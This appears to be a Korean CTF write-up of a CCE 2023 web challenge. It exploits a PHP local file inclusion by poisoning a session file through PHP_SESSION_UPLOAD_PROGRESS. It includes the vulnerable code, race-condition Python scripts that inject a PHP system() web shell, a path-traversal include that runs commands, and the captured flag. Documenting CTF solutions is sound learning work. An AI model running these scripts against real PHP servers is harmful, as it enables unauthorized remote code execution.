문제개요
keywords : Web, LFI, PHP_SESSION_UPLOAD_PROGRESS, session file
Files
.
├── Dockerfile
├── config
│ ├── default
│ ├── readflag
│ └── www.conf
├── docker-compose.yml
├── flag.txt
└── src
├── data
│ ├── 1
│ ├── 2
│ ├── 3
│ ├── 4
│ └── 5
└── index.php
1. Analysis
1.1. Vulnerability (Local File Inclusion)
간단한 LFI 취약점을 가진 php 파일이 주어졌다.
$page
파라미터에 경로를 넘겨주면 "./data/" 문자열과 연결하여 해당 경로를 include 하는 형태이다.<?php $page = $_GET['page']; if(isset($page)){ include("./data/".$page); } else { header("Location: /?page=1"); } ?>
2. Exploitation
2.1. create session file (PHP_SESSION_UPLOAD_PROGRESS)
- LFI 취약점이 존재하지만 주어진 웹페이지에 파일을 생성할 수 있는 별도의 기능이 없어 include 할 대상 파일을 생성할 수 없다.
- php 설치 직후의 default 환경에서 공격자의 파일을 생성할 트릭을 찾아보던 중 아래 URL을 통해
PHP_SESSION_UPLOAD_PROGRESS
환경변수를 활용하는 방법을 확인하였으며, Dockerfile에서session.upload_progress.enabled
가 활성화되어 있는 것을 확인했다. - https://book.hacktricks.xyz/pentesting-web/file-inclusion/via-php_session_upload_progress
(1) Dockerfile
- Dockerfile 내
session.upload_progress
옵션을 활성화 하는 부분
[www]
user = www-data
group = www-data
listen = /run/php/php7.4-fpm.sock
listen.owner = www-data
listen.group = www-data
pm = dynamic
pm.max_children = 48
pm.start_servers = 16
pm.min_spare_servers = 8
pm.max_spare_servers = 16
php_admin_value[session.upload_progress.enabled] = 1 # <------- session.upload_progres 활성화
php_admin_value[memory_limit] = 32M
php_admin_value[max_execution_time] = 10s
php_admin_value[opcache.enable] = 0
request_terminate_timeout = 15s
(2) PHP_SESSION_UPLOAD_PROGRESS 환경변수
- 대용량 파일 업로드와 같이 장시간 실행되는 업로드 작업을 추적하기 위해
PHP_SESSION_UPLOAD_PROGRESS
라는 환경변수에 저장하며, php 내에서$_SESSION['PHP_SESSION_UPLOAD_PROGRESS']
변수에 접근하여 업로드 현황을 확인할 수 있다. $_SESSION
변수에 설정된 데이터는 세션 파일 (sess_*
)에 저장되기 때문에, 공격자는 세션 파일을 include 하여 공격 코드 작성이 가능하다.- 다만, 파일 업로드가 완료된 후 업로드 현황을 세션 파일에서 제거하므로, 파일 업로드 과정 중간에 딜레이를 넣어주거나 반복적으로 파일 업로드를 시도하여 LFI 취약점을 트리거하는 시점에 세션파일에 공격자의 페이로드가 저장되어있도록 상황을 만들어야 한다.
- 본 풀이과정에서는 아래와 같이 특정 세션에서 반복하여 파일업로드를 시도하는 스크립트(
poc.py
)를 작성하여 세션파일을 생성했다. - poc.py
import requests as req
def get(path):
res = req.post("http://localhost:8000/index.php?page={}".format(path), files={'files':open('/etc/passwd','r')}, data={"PHP_SESSION_UPLOAD_PROGRESS":"filename"}, headers={'Cookie':'PHPSESSID=4545454545454545'})
while 1:
get('1')
- poc.py 실행 후, sess_4545454545454545 파일을 열람해보면, 정상적으로 poc.py에서 업로드하는 파일명인
"filename"
이 저장되어있음을 확인할 수 있다.
- Window 1 (host)
$ python poc.py
- Window 2 (docker container)
$ cat /var/lib/php/sessions/sess_4545454545454545
upload_progress_filename|a:5:{s:10:"start_time";i:1696757439;s:14:"content_length";i:3189;s:15:"bytes_processed";i:3189;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:5:"files";s:4:"name";s:6:"passwd";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1696757439;s:15:"bytes_processed";i:3189;}}}
3. Exploit
3.1. exploit-*.py
- 세션 파일 내에 공격자의 데이터를 삽입할 수 있고, 세션파일의 경로를 알고있기 때문에 LFI로 해당 세션 파일을 include 할 수 있다.
- exploit-create.py (inject php code into session file)
import requests as req
while 1:
res = req.post("http://20.196.197.149:8000/index.php?page=gogogogo", files={'file':(open('/etc/passwd','r'))}, data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system($_GET['cmd']) ?>", "upload_progress_goodjob":"1"}, headers={'Cookie':'PHPSESSID=4545454545454545', 'Connection': 'close'}).text
- exploit-include.py (include session file)
import requests as req
while 1:
res = req.get("http://20.196.197.149:8000/index.php", params={'page':'../../../../../../../../var/lib/php/sessions/sess_4545454545454545','cmd':'echo ""; echo ""; id; /readflag; echo ""; echo "";'}).text
if res not in ('', '\n'):
print(res)
break
3.2. Run
- 앞서 작성한 2개의 script를 동시에 실행시킨 결과 아래와 Window-2에서 flag를 획득할 수 있었다.
- Window-1
$ python exploit-create.py
- Window-2
$ python exploit-include.py
upload_progress_
uid=33(www-data) gid=33(www-data) groups=33(www-data)
cce2023{1e6b9e3691debe669ecd5626e7797ad4}
|a:5:{s:10:"start_time";i:1696758221;s:14:"content_length";i:3314;s:15:"bytes_processed";i:3314;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:6:"passwd";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1696758221;s:15:"bytes_processed";i:3314;}}}
Flag : cce2023{1e6b9e3691debe669ecd5626e7797ad4}
'CTF > 2023' 카테고리의 다른 글
[CTF][2023] CCE 2023 QUAL - babykernel (0) | 2024.03.18 |
---|---|
[CTF][2023] Whitehat contest Qual - pwn1 (0) | 2024.03.02 |
[CTF][2023] SECCON Qual - selfcet (0) | 2024.03.02 |
[CTF][2023] CTFZone Qual 2023 - dead or alive 2 (0) | 2024.03.02 |